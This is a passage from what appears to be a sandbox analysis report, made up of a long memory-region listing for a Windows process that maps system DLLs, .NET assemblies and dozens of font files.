"c:\\windows\\syswow64\\rsaenh.dll") Region: id = 386 start_va = 0x260000 end_va = 0x26ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000260000" filename = "" Region: id = 387 start_va = 0xd50000 end_va = 0xdd1fff monitored = 0 entry_point = 0xd519a9 region_type = mapped_file name = "comctl32.dll" filename = "\\Windows\\winsxs\\x86_microsoft.windows.common-controls_6595b64144ccf1df_5.82.7601.17514_none_ec83dffa859149af\\comctl32.dll" (normalized: "c:\\windows\\winsxs\\x86_microsoft.windows.common-controls_6595b64144ccf1df_5.82.7601.17514_none_ec83dffa859149af\\comctl32.dll") Region: id = 388 start_va = 0xd50000 end_va = 0xdd1fff monitored = 0 entry_point = 0xd519a9 region_type = mapped_file name = "comctl32.dll" filename = "\\Windows\\winsxs\\x86_microsoft.windows.common-controls_6595b64144ccf1df_5.82.7601.17514_none_ec83dffa859149af\\comctl32.dll" (normalized: "c:\\windows\\winsxs\\x86_microsoft.windows.common-controls_6595b64144ccf1df_5.82.7601.17514_none_ec83dffa859149af\\comctl32.dll") Region: id = 389 start_va = 0x72230000 end_va = 0x722b3fff monitored = 0 entry_point = 0x722319a9 region_type = mapped_file name = "comctl32.dll" filename = "\\Windows\\winsxs\\x86_microsoft.windows.common-controls_6595b64144ccf1df_5.82.7601.17514_none_ec83dffa859149af\\comctl32.dll" (normalized: "c:\\windows\\winsxs\\x86_microsoft.windows.common-controls_6595b64144ccf1df_5.82.7601.17514_none_ec83dffa859149af\\comctl32.dll") Region: id = 390 start_va = 0x5a10000 end_va = 0x5bfffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000005a10000" filename = "" Region: id = 391 start_va = 0x72160000 end_va = 0x7222ffff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "system.runtime.remoting.ni.dll" filename = "\\Windows\\assembly\\NativeImages_v4.0.30319_32\\System.Runt73a1fc9d#\\fd0048cfdcd58dd454d2575e5cb55e70\\System.Runtime.Remoting.ni.dll" (normalized: "c:\\windows\\assembly\\nativeimages_v4.0.30319_32\\system.runt73a1fc9d#\\fd0048cfdcd58dd454d2575e5cb55e70\\system.runtime.remoting.ni.dll") Region: id = 392 start_va = 0x6d760000 end_va = 0x6dd03fff monitored = 1 entry_point = 0x6dceb692 region_type = mapped_file name = "system.windows.forms.dll" filename = "\\Windows\\Microsoft.NET\\assembly\\GAC_MSIL\\System.Windows.Forms\\v4.0_4.0.0.0__b77a5c561934e089\\System.Windows.Forms.dll" (normalized: "c:\\windows\\microsoft.net\\assembly\\gac_msil\\system.windows.forms\\v4.0_4.0.0.0__b77a5c561934e089\\system.windows.forms.dll") Region: id = 393 start_va = 0x270000 end_va = 0x271fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000270000" filename = "" Region: id = 394 start_va = 0x380000 end_va = 0x38ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000380000" filename = "" Region: id = 395 start_va = 0xfff50000 end_va = 0xfff9ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000fff50000" filename = "" Region: id = 396 start_va = 0xfff40000 end_va = 0xfff4ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000fff40000" filename = "" Region: id = 397 start_va = 0x380000 end_va = 0x38ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000380000" filename = "" Region: id = 398 start_va = 0x390000 end_va = 0x39ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000390000" filename = "" Region: id = 399 start_va = 0x3a0000 end_va = 0x3affff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000003a0000" filename = "" Region: id = 400 start_va = 0x3b0000 end_va = 0x3bffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000003b0000" filename = "" Region: id = 401 start_va = 0x3c0000 end_va = 0x3cffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000003c0000" filename = "" Region: id = 402 start_va = 0x3d0000 end_va = 0x3dffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000003d0000" filename = "" Region: id = 403 start_va = 0x3e0000 end_va = 0x3effff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000003e0000" filename = "" Region: id = 404 start_va = 0x3f0000 end_va = 0x3fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000003f0000" filename = "" Region: id = 405 start_va = 0x440000 end_va = 0x44ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000440000" filename = "" Region: id = 406 start_va = 0x450000 end_va = 0x45ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000450000" filename = "" Region: id = 407 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000460000" filename = "" Region: id = 408 start_va = 0x670000 end_va = 0x67ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000670000" filename = "" Region: id = 409 start_va = 0x680000 end_va = 0x68ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000680000" filename = "" Region: id = 410 start_va = 0x690000 end_va = 0x69ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000690000" filename = "" Region: id = 411 start_va = 0x6a0000 end_va = 0x6affff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000006a0000" filename = "" Region: id = 412 start_va = 0x6c0000 end_va = 0x6cffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000006c0000" filename = "" Region: id = 413 start_va = 0x710000 end_va = 0x71ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000710000" filename = "" Region: id = 414 start_va = 0x380000 end_va = 0x3e1fff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "mscorrc.dll" filename = "\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorrc.dll" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\mscorrc.dll") Region: id = 415 start_va = 0x6db80000 end_va = 0x6dd0ffff monitored = 0 entry_point = 0x6dc1d026 region_type = mapped_file name = "gdiplus.dll" filename = "\\Windows\\winsxs\\x86_microsoft.windows.gdiplus_6595b64144ccf1df_1.1.7601.17514_none_72d18a4386696c80\\GdiPlus.dll" (normalized: "c:\\windows\\winsxs\\x86_microsoft.windows.gdiplus_6595b64144ccf1df_1.1.7601.17514_none_72d18a4386696c80\\gdiplus.dll") Region: id = 416 start_va = 0x5800000 end_va = 0x595ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000005800000" filename = "" Region: id = 417 start_va = 0x59d0000 end_va = 0x5a0ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000059d0000" filename = "" Region: id = 418 start_va = 0x3f0000 end_va = 0x3fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000003f0000" filename = "" Region: id = 419 start_va = 0xd50000 end_va = 0xd8ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000d50000" filename = "" Region: id = 420 start_va = 0x5a30000 end_va = 0x5b2ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000005a30000" filename = "" Region: id = 421 start_va = 0x5bf0000 end_va = 0x5bfffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000005bf0000" filename = "" Region: id = 422 start_va = 0xfffaa000 end_va = 0xfffacfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000fffaa000" filename = "" Region: id = 423 start_va = 0xe20000 end_va = 0xe9ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000e20000" filename = "" Region: id = 424 start_va = 0x6da80000 end_va = 0x6db7afff monitored = 0 entry_point = 0x6da917e1 region_type = mapped_file name = "windowscodecs.dll" filename = "\\Windows\\SysWOW64\\WindowsCodecs.dll" (normalized: "c:\\windows\\syswow64\\windowscodecs.dll") Region: id = 425 start_va = 0x670000 end_va = 0x6a0fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000670000" filename = "" Region: id = 426 start_va = 0x72150000 end_va = 0x72154fff monitored = 0 entry_point = 0x721511d0 region_type = mapped_file name = "shfolder.dll" filename = "\\Windows\\SysWOW64\\shfolder.dll" (normalized: "c:\\windows\\syswow64\\shfolder.dll") Region: id = 427 start_va = 0x440000 end_va = 0x442fff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "gdipfontcachev1.dat" filename = "\\Users\\kEecfMwgj\\AppData\\Local\\GDIPFONTCACHEV1.DAT" (normalized: "c:\\users\\keecfmwgj\\appdata\\local\\gdipfontcachev1.dat") Region: id = 428 start_va = 0x450000 end_va = 0x456fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "marlett.ttf" filename = "\\Windows\\Fonts\\marlett.ttf" (normalized: "c:\\windows\\fonts\\marlett.ttf") Region: id = 429 start_va = 0x450000 end_va = 0x456fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "marlett.ttf" filename = "\\Windows\\Fonts\\marlett.ttf" (normalized: "c:\\windows\\fonts\\marlett.ttf") Region: id = 430 start_va = 0x1290000 end_va = 0x134cfff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "arial.ttf" filename = "\\Windows\\Fonts\\arial.ttf" (normalized: "c:\\windows\\fonts\\arial.ttf") Region: id = 431 start_va = 0x1290000 end_va = 0x134cfff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "arial.ttf" filename = "\\Windows\\Fonts\\arial.ttf" (normalized: "c:\\windows\\fonts\\arial.ttf") Region: id = 432 start_va = 0x5800000 end_va = 0x58fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000005800000" filename = "" Region: id = 433 start_va = 0x5950000 end_va = 0x595ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000005950000" filename = "" Region: id = 434 start_va = 0x1290000 end_va = 0x1317fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "ariali.ttf" filename = "\\Windows\\Fonts\\ariali.ttf" (normalized: "c:\\windows\\fonts\\ariali.ttf") Region: id = 435 start_va = 0x1290000 end_va = 0x1317fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "ariali.ttf" filename = "\\Windows\\Fonts\\ariali.ttf" (normalized: "c:\\windows\\fonts\\ariali.ttf") Region: id = 436 start_va = 0x1290000 end_va = 0x1346fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "arialbd.ttf" filename = "\\Windows\\Fonts\\arialbd.ttf" (normalized: "c:\\windows\\fonts\\arialbd.ttf") Region: id = 437 start_va = 0x1290000 end_va = 0x1346fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "arialbd.ttf" filename = "\\Windows\\Fonts\\arialbd.ttf" (normalized: "c:\\windows\\fonts\\arialbd.ttf") Region: id = 438 start_va = 0x1290000 end_va = 0x1319fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "arialbi.ttf" filename = "\\Windows\\Fonts\\arialbi.ttf" (normalized: "c:\\windows\\fonts\\arialbi.ttf") Region: id = 439 start_va = 0x1290000 end_va = 0x1319fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "arialbi.ttf" filename = "\\Windows\\Fonts\\arialbi.ttf" (normalized: "c:\\windows\\fonts\\arialbi.ttf") Region: id = 440 start_va = 0x5c00000 end_va = 0x6b82fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "batang.ttc" filename = "\\Windows\\Fonts\\batang.ttc" (normalized: "c:\\windows\\fonts\\batang.ttc") Region: id = 441 start_va = 0x5c00000 end_va = 0x6b82fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "batang.ttc" filename = "\\Windows\\Fonts\\batang.ttc" (normalized: "c:\\windows\\fonts\\batang.ttc") Region: id = 442 start_va = 0x5c00000 end_va = 0x6b82fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "batang.ttc" filename = "\\Windows\\Fonts\\batang.ttc" (normalized: "c:\\windows\\fonts\\batang.ttc") Region: id = 443 start_va = 0x6b90000 end_va = 0x6d8ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000006b90000" filename = "" Region: id = 444 start_va = 0x5c00000 end_va = 0x6b82fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "batang.ttc" filename = "\\Windows\\Fonts\\batang.ttc" (normalized: "c:\\windows\\fonts\\batang.ttc") Region: id = 445 start_va = 0x5c00000 end_va = 0x6b82fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "batang.ttc" filename = "\\Windows\\Fonts\\batang.ttc" (normalized: "c:\\windows\\fonts\\batang.ttc") Region: id = 446 start_va = 0x1290000 end_va = 0x133dfff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "cour.ttf" filename = "\\Windows\\Fonts\\cour.ttf" (normalized: "c:\\windows\\fonts\\cour.ttf") Region: id = 447 start_va = 0x1290000 end_va = 0x133dfff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "cour.ttf" filename = "\\Windows\\Fonts\\cour.ttf" (normalized: "c:\\windows\\fonts\\cour.ttf") Region: id = 448 start_va = 0x1290000 end_va = 0x1326fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "couri.ttf" filename = "\\Windows\\Fonts\\couri.ttf" (normalized: "c:\\windows\\fonts\\couri.ttf") Region: id = 449 start_va = 0x1290000 end_va = 0x1326fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "couri.ttf" filename = "\\Windows\\Fonts\\couri.ttf" (normalized: "c:\\windows\\fonts\\couri.ttf") Region: id = 450 start_va = 0x1290000 end_va = 0x133dfff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "courbd.ttf" filename = "\\Windows\\Fonts\\courbd.ttf" (normalized: "c:\\windows\\fonts\\courbd.ttf") Region: id = 451 start_va = 0x1290000 end_va = 0x133dfff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "courbd.ttf" filename = "\\Windows\\Fonts\\courbd.ttf" (normalized: "c:\\windows\\fonts\\courbd.ttf") Region: id = 452 start_va = 0x1290000 end_va = 0x1311fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "courbi.ttf" filename = "\\Windows\\Fonts\\courbi.ttf" (normalized: "c:\\windows\\fonts\\courbi.ttf") Region: id = 453 start_va = 0x1290000 end_va = 0x1311fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "courbi.ttf" filename = "\\Windows\\Fonts\\courbi.ttf" (normalized: "c:\\windows\\fonts\\courbi.ttf") Region: id = 454 start_va = 0x710000 end_va = 0x73efff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "daunpenh.ttf" filename = "\\Windows\\Fonts\\daunpenh.ttf" (normalized: "c:\\windows\\fonts\\daunpenh.ttf") Region: id = 455 start_va = 0x710000 end_va = 0x73efff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "daunpenh.ttf" filename = "\\Windows\\Fonts\\daunpenh.ttf" (normalized: "c:\\windows\\fonts\\daunpenh.ttf") Region: id = 456 start_va = 0x710000 end_va = 0x734fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "dokchamp.ttf" filename = "\\Windows\\Fonts\\dokchamp.ttf" (normalized: "c:\\windows\\fonts\\dokchamp.ttf") Region: id = 457 start_va = 0x710000 end_va = 0x734fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "dokchamp.ttf" filename = "\\Windows\\Fonts\\dokchamp.ttf" (normalized: "c:\\windows\\fonts\\dokchamp.ttf") Region: id = 458 start_va = 0x450000 end_va = 0x46afff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "estre.ttf" filename = "\\Windows\\Fonts\\estre.ttf" (normalized: "c:\\windows\\fonts\\estre.ttf") Region: id = 459 start_va = 0x450000 end_va = 0x46afff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "estre.ttf" filename = "\\Windows\\Fonts\\estre.ttf" (normalized: "c:\\windows\\fonts\\estre.ttf") Region: id = 460 start_va = 0x710000 end_va = 0x73afff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "euphemia.ttf" filename = "\\Windows\\Fonts\\euphemia.ttf" (normalized: "c:\\windows\\fonts\\euphemia.ttf") Region: id = 461 start_va = 0x710000 end_va = 0x73afff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "euphemia.ttf" filename = "\\Windows\\Fonts\\euphemia.ttf" (normalized: "c:\\windows\\fonts\\euphemia.ttf") Region: id = 462 start_va = 0x710000 end_va = 0x74efff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "gautami.ttf" filename = "\\Windows\\Fonts\\gautami.ttf" (normalized: "c:\\windows\\fonts\\gautami.ttf") Region: id = 463 start_va = 0x710000 end_va = 0x74efff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "gautami.ttf" filename = "\\Windows\\Fonts\\gautami.ttf" (normalized: "c:\\windows\\fonts\\gautami.ttf") Region: id = 464 start_va = 0x710000 end_va = 0x746fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "gautamib.ttf" filename = "\\Windows\\Fonts\\gautamib.ttf" (normalized: "c:\\windows\\fonts\\gautamib.ttf") Region: id = 465 start_va = 0x710000 end_va = 0x746fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "gautamib.ttf" filename = "\\Windows\\Fonts\\gautamib.ttf" (normalized: "c:\\windows\\fonts\\gautamib.ttf") Region: id = 466 start_va = 0x1290000 end_va = 0x12eefff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "vani.ttf" filename = "\\Windows\\Fonts\\Vani.ttf" (normalized: "c:\\windows\\fonts\\vani.ttf") Region: id = 467 start_va = 0x1290000 end_va = 0x12eefff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "vani.ttf" filename = "\\Windows\\Fonts\\Vani.ttf" (normalized: "c:\\windows\\fonts\\vani.ttf") Region: id = 468 start_va = 0x1290000 end_va = 0x12eafff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "vanib.ttf" filename = "\\Windows\\Fonts\\Vanib.ttf" (normalized: "c:\\windows\\fonts\\vanib.ttf") Region: id = 469 start_va = 0x1290000 end_va = 0x12eafff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "vanib.ttf" filename = "\\Windows\\Fonts\\Vanib.ttf" (normalized: "c:\\windows\\fonts\\vanib.ttf") Region: id = 470 start_va = 0x5c00000 end_va = 0x68e5fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "gulim.ttc" filename = "\\Windows\\Fonts\\gulim.ttc" (normalized: "c:\\windows\\fonts\\gulim.ttc") Region: id = 471 start_va = 0x5c00000 end_va = 0x68e5fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "gulim.ttc" filename = "\\Windows\\Fonts\\gulim.ttc" (normalized: "c:\\windows\\fonts\\gulim.ttc") Region: id = 472 start_va = 0x5c00000 end_va = 0x68e5fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "gulim.ttc" filename = "\\Windows\\Fonts\\gulim.ttc" (normalized: "c:\\windows\\fonts\\gulim.ttc") Region: id = 473 start_va = 0x5c00000 end_va = 0x68e5fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "gulim.ttc" filename = "\\Windows\\Fonts\\gulim.ttc" (normalized: "c:\\windows\\fonts\\gulim.ttc") Region: id = 474 start_va = 0x6d90000 end_va = 0x718ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000006d90000" filename = "" Region: id = 475 start_va = 0x5c00000 end_va = 0x68e5fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "gulim.ttc" filename = "\\Windows\\Fonts\\gulim.ttc" (normalized: "c:\\windows\\fonts\\gulim.ttc") Region: id = 476 start_va = 0x710000 end_va = 0x731fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "impact.ttf" filename = "\\Windows\\Fonts\\impact.ttf" (normalized: "c:\\windows\\fonts\\impact.ttf") Region: id = 477 start_va = 0x710000 end_va = 0x731fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "impact.ttf" filename = "\\Windows\\Fonts\\impact.ttf" (normalized: "c:\\windows\\fonts\\impact.ttf") Region: id = 478 start_va = 0x1290000 end_va = 0x1315fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "iskpota.ttf" filename = "\\Windows\\Fonts\\iskpota.ttf" (normalized: "c:\\windows\\fonts\\iskpota.ttf") Region: id = 479 start_va = 0x1290000 end_va = 0x1315fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "iskpota.ttf" filename = "\\Windows\\Fonts\\iskpota.ttf" (normalized: "c:\\windows\\fonts\\iskpota.ttf") Region: id = 480 start_va = 0x1290000 end_va = 0x12eafff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "iskpotab.ttf" filename = "\\Windows\\Fonts\\iskpotab.ttf" (normalized: "c:\\windows\\fonts\\iskpotab.ttf") Region: id = 481 start_va = 0x1290000 end_va = 0x12eafff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "iskpotab.ttf" filename = "\\Windows\\Fonts\\iskpotab.ttf" (normalized: "c:\\windows\\fonts\\iskpotab.ttf") Region: id = 482 start_va = 0x710000 end_va = 0x743fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "kalinga.ttf" filename = "\\Windows\\Fonts\\kalinga.ttf" (normalized: "c:\\windows\\fonts\\kalinga.ttf") Region: id = 483 start_va = 0x710000 end_va = 0x743fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "kalinga.ttf" filename = "\\Windows\\Fonts\\kalinga.ttf" (normalized: "c:\\windows\\fonts\\kalinga.ttf") Region: id = 484 start_va = 0x710000 end_va = 0x742fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "kalingab.ttf" filename = "\\Windows\\Fonts\\kalingab.ttf" (normalized: "c:\\windows\\fonts\\kalingab.ttf") Region: id = 485 start_va = 0x710000 end_va = 0x742fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "kalingab.ttf" filename = "\\Windows\\Fonts\\kalingab.ttf" (normalized: "c:\\windows\\fonts\\kalingab.ttf") Region: id = 486 start_va = 0x710000 end_va = 0x730fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "kartika.ttf" filename = "\\Windows\\Fonts\\kartika.ttf" (normalized: "c:\\windows\\fonts\\kartika.ttf") Region: id = 487 start_va = 0x710000 end_va = 0x730fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "kartika.ttf" filename = "\\Windows\\Fonts\\kartika.ttf" (normalized: "c:\\windows\\fonts\\kartika.ttf") Region: id = 488 start_va = 0x450000 end_va = 0x46efff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "kartikab.ttf" filename = "\\Windows\\Fonts\\kartikab.ttf" (normalized: "c:\\windows\\fonts\\kartikab.ttf") Region: id = 489 start_va = 0x450000 end_va = 0x46efff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "kartikab.ttf" filename = "\\Windows\\Fonts\\kartikab.ttf" (normalized: "c:\\windows\\fonts\\kartikab.ttf") Region: id = 490 start_va = 0x1290000 end_va = 0x12e0fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "khmerui.ttf" filename = "\\Windows\\Fonts\\KhmerUI.ttf" (normalized: "c:\\windows\\fonts\\khmerui.ttf") Region: id = 491 start_va = 0x1290000 end_va = 0x12e0fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "khmerui.ttf" filename = "\\Windows\\Fonts\\KhmerUI.ttf" (normalized: "c:\\windows\\fonts\\khmerui.ttf") Region: id = 492 start_va = 0xa80000 end_va = 0xac0fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "khmeruib.ttf" filename = "\\Windows\\Fonts\\KhmerUIb.ttf" (normalized: "c:\\windows\\fonts\\khmeruib.ttf") Region: id = 493 start_va = 0xa80000 end_va = 0xac0fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "khmeruib.ttf" filename = "\\Windows\\Fonts\\KhmerUIb.ttf" (normalized: "c:\\windows\\fonts\\khmeruib.ttf") Region: id = 494 start_va = 0x450000 end_va = 0x467fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "laoui.ttf" filename = "\\Windows\\Fonts\\LaoUI.ttf" (normalized: "c:\\windows\\fonts\\laoui.ttf") Region: id = 495 start_va = 0x450000 end_va = 0x467fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "laoui.ttf" filename = "\\Windows\\Fonts\\LaoUI.ttf" (normalized: "c:\\windows\\fonts\\laoui.ttf") Region: id = 496 start_va = 0x450000 end_va = 0x465fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "laouib.ttf" filename = "\\Windows\\Fonts\\LaoUIb.ttf" (normalized: "c:\\windows\\fonts\\laouib.ttf") Region: id = 497 start_va = 0x450000 end_va = 0x465fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "laouib.ttf" filename = "\\Windows\\Fonts\\LaoUIb.ttf" (normalized: "c:\\windows\\fonts\\laouib.ttf") Region: id = 498 start_va = 0x450000 end_va = 0x46dfff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "latha.ttf" filename = "\\Windows\\Fonts\\latha.ttf" (normalized: "c:\\windows\\fonts\\latha.ttf") Region: id = 499 start_va = 0x450000 end_va = 0x46dfff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "latha.ttf" filename = "\\Windows\\Fonts\\latha.ttf" (normalized: "c:\\windows\\fonts\\latha.ttf") Region: id = 500 start_va = 0x450000 end_va = 0x46dfff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "lathab.ttf" filename = "\\Windows\\Fonts\\lathab.ttf" (normalized: "c:\\windows\\fonts\\lathab.ttf") Region: id = 501 start_va = 0x450000 end_va = 0x46dfff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "lathab.ttf" filename = "\\Windows\\Fonts\\lathab.ttf" (normalized: "c:\\windows\\fonts\\lathab.ttf") Region: id = 502 start_va = 0x450000 end_va = 0x46cfff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "lucon.ttf" filename = "\\Windows\\Fonts\\lucon.ttf" (normalized: "c:\\windows\\fonts\\lucon.ttf") Region: id = 503 start_va = 0x450000 end_va = 0x46cfff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "lucon.ttf" filename = "\\Windows\\Fonts\\lucon.ttf" (normalized: "c:\\windows\\fonts\\lucon.ttf") Region: id = 504 start_va = 0x5c00000 end_va = 0x6022fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "malgun.ttf" filename = "\\Windows\\Fonts\\malgun.ttf" (normalized: "c:\\windows\\fonts\\malgun.ttf") Region: id = 505 start_va = 0x5c00000 end_va = 0x6022fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "malgun.ttf" filename = "\\Windows\\Fonts\\malgun.ttf" (normalized: "c:\\windows\\fonts\\malgun.ttf") Region: id = 506 start_va = 0x5c00000 end_va = 0x604efff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "malgunbd.ttf" filename = "\\Windows\\Fonts\\malgunbd.ttf" (normalized: "c:\\windows\\fonts\\malgunbd.ttf") Region: id = 507 start_va = 0x5c00000 end_va = 0x604efff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "malgunbd.ttf" filename = "\\Windows\\Fonts\\malgunbd.ttf" (normalized: "c:\\windows\\fonts\\malgunbd.ttf") Region: id = 508 start_va = 0x710000 end_va = 0x742fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "mangal.ttf" filename = "\\Windows\\Fonts\\mangal.ttf" (normalized: "c:\\windows\\fonts\\mangal.ttf") Region: id = 509 start_va = 0x710000 end_va = 0x742fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "mangal.ttf" filename = "\\Windows\\Fonts\\mangal.ttf" (normalized: "c:\\windows\\fonts\\mangal.ttf") Region: id = 510 start_va = 0x710000 end_va = 0x73efff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "mangalb.ttf" filename = "\\Windows\\Fonts\\mangalb.ttf" (normalized: "c:\\windows\\fonts\\mangalb.ttf") Region: id = 511 start_va = 0x710000 end_va = 0x73efff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "mangalb.ttf" filename = "\\Windows\\Fonts\\mangalb.ttf" (normalized: "c:\\windows\\fonts\\mangalb.ttf") Region: id = 512 start_va = 0x5c00000 end_va = 0x6517fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "meiryo.ttc" filename = "\\Windows\\Fonts\\meiryo.ttc" (normalized: "c:\\windows\\fonts\\meiryo.ttc") Region: id = 513 start_va = 0x5c00000 end_va = 0x6517fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "meiryo.ttc" filename = "\\Windows\\Fonts\\meiryo.ttc" (normalized: "c:\\windows\\fonts\\meiryo.ttc") Region: id = 514 start_va = 0x5c00000 end_va = 0x6517fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "meiryo.ttc" filename = "\\Windows\\Fonts\\meiryo.ttc" (normalized: "c:\\windows\\fonts\\meiryo.ttc") Region: id = 515 start_va = 0x5c00000 end_va = 0x6517fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "meiryo.ttc" filename = "\\Windows\\Fonts\\meiryo.ttc" (normalized: "c:\\windows\\fonts\\meiryo.ttc") Region: id = 516 start_va = 0x5c00000 end_va = 0x6517fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "meiryo.ttc" filename = "\\Windows\\Fonts\\meiryo.ttc" (normalized: "c:\\windows\\fonts\\meiryo.ttc") Region: id = 517 start_va = 0x5c00000 end_va = 0x654cfff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "meiryob.ttc" filename = "\\Windows\\Fonts\\meiryob.ttc" (normalized: "c:\\windows\\fonts\\meiryob.ttc") Region: id = 518 start_va = 0x5c00000 end_va = 0x654cfff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "meiryob.ttc" filename = 